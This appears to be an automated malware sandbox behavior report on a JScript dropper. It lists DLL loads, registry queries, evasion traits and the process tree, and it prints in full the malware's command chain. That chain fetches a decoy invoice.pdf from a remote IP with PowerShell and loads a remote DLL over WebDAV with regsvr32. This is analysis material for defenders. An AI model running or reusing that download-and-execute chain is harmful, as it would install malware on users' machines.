Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\48.js.csv");ITextStream.WriteLine(" entry:8043 f:dqidyi");ITextStream.WriteLine(" exec:2 f:dqidyi");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49700

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4554			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5287			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5660	Thread sleep count: 4554 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5100	Thread sleep count: 5287 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6256	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3180	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7536	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7836	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 0000000C.00000002.1300000116.000001BCEA9A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW 3
Source: net.exe, 0000000C.00000002.1300000116.000001BCEAA0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2530144384.000001F720855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2528733073.000001F71B22B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 0000000C.00000002.1300000116.000001BCEAA0E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW}

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
